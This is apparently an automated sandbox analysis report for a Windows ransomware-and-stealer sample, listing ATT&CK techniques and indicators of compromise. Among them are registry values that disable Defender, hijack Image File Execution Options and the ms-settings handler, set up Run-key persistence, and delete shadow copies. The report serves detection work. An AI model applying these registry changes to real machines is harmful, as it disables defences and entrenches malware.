cd9070e6789587f3d6e4ff1e3250c0e3a340d0891069272369146ccdbb12f4aa

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	m88usb.com_chrome.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	m88usb.com_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5480	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	m88usb.com_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	m88usb.com_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	m88usb.com_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5460	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\International\Geo\Nation	m88usb.com_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	m88usb.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	m88usb.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	m88usb.com_chrome.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	m88usb.com_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	m88usb.com_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	m88usb.com_chrome.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1348	tasklist.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	m88usb.com_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5548	sc.exe
5332	sc.exe
3416	sc.exe
312	sc.exe
1864	sc.exe
5228	sc.exe
4068	sc.exe
4620	sc.exe
4588	sc.exe
5632	sc.exe
1960	sc.exe
5632	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3988	ipconfig.exe
3900	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4536	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4956	vssadmin.exe
4684	vssadmin.exe
2940	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\Desktop\WallpaperStyle = "2"	m88usb.com_chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134227312821125994"	chrome.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\.pdf\ = "PDFBotnet"	m88usb.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	m88usb.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell	m88usb.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings	m88usb.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe"	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command\DelegateExecute	m88usb.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	m88usb.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell	m88usb.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	m88usb.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	m88usb.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\m88usb.com_chrome.exe\" \"%1\""	m88usb.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command	m88usb.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open	m88usb.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings\shell\open\command	m88usb.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\ms-settings	m88usb.com_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5932	schtasks.exe
2760	schtasks.exe
632	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5480	powershell.exe
5480	powershell.exe
5804	chrome.exe
5804	chrome.exe
5480	powershell.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe
2780	m88usb.com_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2780	m88usb.com_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5480	powershell.exe
Token: SeShutdownPrivilege	5804	chrome.exe
Token: SeCreatePagefilePrivilege	5804	chrome.exe
Token: SeIncreaseQuotaPrivilege	2376	WMIC.exe
Token: SeSecurityPrivilege	2376	WMIC.exe
Token: SeTakeOwnershipPrivilege	2376	WMIC.exe
Token: SeLoadDriverPrivilege	2376	WMIC.exe
Token: SeSystemProfilePrivilege	2376	WMIC.exe
Token: SeSystemtimePrivilege	2376	WMIC.exe
Token: SeProfSingleProcessPrivilege	2376	WMIC.exe
Token: SeIncBasePriorityPrivilege	2376	WMIC.exe
Token: SeCreatePagefilePrivilege	2376	WMIC.exe
Token: SeBackupPrivilege	2376	WMIC.exe
Token: SeRestorePrivilege	2376	WMIC.exe
Token: SeShutdownPrivilege	2376	WMIC.exe
Token: SeDebugPrivilege	2376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2376	WMIC.exe
Token: SeRemoteShutdownPrivilege	2376	WMIC.exe
Token: SeUndockPrivilege	2376	WMIC.exe
Token: SeManageVolumePrivilege	2376	WMIC.exe
Token: 33	2376	WMIC.exe
Token: 34	2376	WMIC.exe
Token: 35	2376	WMIC.exe
Token: 36	2376	WMIC.exe
Token: SeBackupPrivilege	1776	vssvc.exe
Token: SeRestorePrivilege	1776	vssvc.exe
Token: SeAuditPrivilege	1776	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2376	WMIC.exe
Token: SeSecurityPrivilege	2376	WMIC.exe
Token: SeTakeOwnershipPrivilege	2376	WMIC.exe
Token: SeLoadDriverPrivilege	2376	WMIC.exe
Token: SeSystemProfilePrivilege	2376	WMIC.exe
Token: SeSystemtimePrivilege	2376	WMIC.exe
Token: SeProfSingleProcessPrivilege	2376	WMIC.exe
Token: SeIncBasePriorityPrivilege	2376	WMIC.exe
Token: SeCreatePagefilePrivilege	2376	WMIC.exe
Token: SeBackupPrivilege	2376	WMIC.exe
Token: SeRestorePrivilege	2376	WMIC.exe
Token: SeShutdownPrivilege	2376	WMIC.exe
Token: SeDebugPrivilege	2376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2376	WMIC.exe
Token: SeRemoteShutdownPrivilege	2376	WMIC.exe
Token: SeUndockPrivilege	2376	WMIC.exe
Token: SeManageVolumePrivilege	2376	WMIC.exe
Token: 33	2376	WMIC.exe
Token: 34	2376	WMIC.exe
Token: 35	2376	WMIC.exe
Token: 36	2376	WMIC.exe
Token: SeShutdownPrivilege	5804	chrome.exe
Token: SeCreatePagefilePrivilege	5804	chrome.exe
Token: SeShutdownPrivilege	5804	chrome.exe
Token: SeCreatePagefilePrivilege	5804	chrome.exe
Token: SeDebugPrivilege	2780	m88usb.com_chrome.exe
Token: SeShutdownPrivilege	5804	chrome.exe
Token: SeCreatePagefilePrivilege	5804	chrome.exe
Token: SeShutdownPrivilege	5804	chrome.exe
Token: SeCreatePagefilePrivilege	5804	chrome.exe
Token: SeIncBasePriorityPrivilege	2780	m88usb.com_chrome.exe
Token: SeDebugPrivilege	2992	whoami.exe
Token: SeDebugPrivilege	1348	tasklist.exe
Token: SeDebugPrivilege	3900	NETSTAT.EXE
Token: SeIncreaseQuotaPrivilege	4068	WMIC.exe
Token: SeSecurityPrivilege	4068	WMIC.exe
Token: SeTakeOwnershipPrivilege	4068	WMIC.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe
5804	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2780	m88usb.com_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 5804	2780	m88usb.com_chrome.exe	84
PID 5804 wrote to memory of 456	5804	chrome.exe	85
PID 2780 wrote to memory of 5480	2780	m88usb.com_chrome.exe	86
PID 2780 wrote to memory of 4588	2780	m88usb.com_chrome.exe	88
PID 2780 wrote to memory of 5548	2780	m88usb.com_chrome.exe	90
PID 2780 wrote to memory of 5632	2780	m88usb.com_chrome.exe	92
PID 2780 wrote to memory of 5332	2780	m88usb.com_chrome.exe	94
PID 2780 wrote to memory of 3416	2780	m88usb.com_chrome.exe	133
PID 2780 wrote to memory of 312	2780	m88usb.com_chrome.exe	98
PID 2780 wrote to memory of 1864	2780	m88usb.com_chrome.exe	100
PID 2780 wrote to memory of 5228	2780	m88usb.com_chrome.exe	101
PID 2780 wrote to memory of 5264	2780	m88usb.com_chrome.exe	103
PID 2780 wrote to memory of 4068	2780	m88usb.com_chrome.exe	159
PID 2780 wrote to memory of 4620	2780	m88usb.com_chrome.exe	107
PID 2780 wrote to memory of 4956	2780	m88usb.com_chrome.exe	109
PID 5804 wrote to memory of 5240	5804	chrome.exe	111
PID 5804 wrote to memory of 5240	5804	chrome.exe	111
PID 2780 wrote to memory of 2376	2780	m88usb.com_chrome.exe	112
PID 5804 wrote to memory of 2664	5804	chrome.exe	113
PID 5804 wrote to memory of 4856	5804	chrome.exe	114
PID 5804 wrote to memory of 4856	5804	chrome.exe	114
PID 5804 wrote to memory of 3692	5804	chrome.exe	117
PID 5804 wrote to memory of 3692	5804	chrome.exe	117
PID 5804 wrote to memory of 6116	5804	chrome.exe	118
PID 5804 wrote to memory of 6116	5804	chrome.exe	118
PID 5804 wrote to memory of 3144	5804	chrome.exe	119
PID 5804 wrote to memory of 3144	5804	chrome.exe	119
PID 5264 wrote to memory of 3440	5264	fodhelper.exe	121
PID 5804 wrote to memory of 5884	5804	chrome.exe	125
PID 5804 wrote to memory of 5884	5804	chrome.exe	125
PID 2780 wrote to memory of 3532	2780	m88usb.com_chrome.exe	126
PID 2780 wrote to memory of 632	2780	m88usb.com_chrome.exe	127
PID 2780 wrote to memory of 5932	2780	m88usb.com_chrome.exe	129
PID 2780 wrote to memory of 4964	2780	m88usb.com_chrome.exe	134
PID 2780 wrote to memory of 5812	2780	m88usb.com_chrome.exe	136
PID 2780 wrote to memory of 4816	2780	m88usb.com_chrome.exe	137
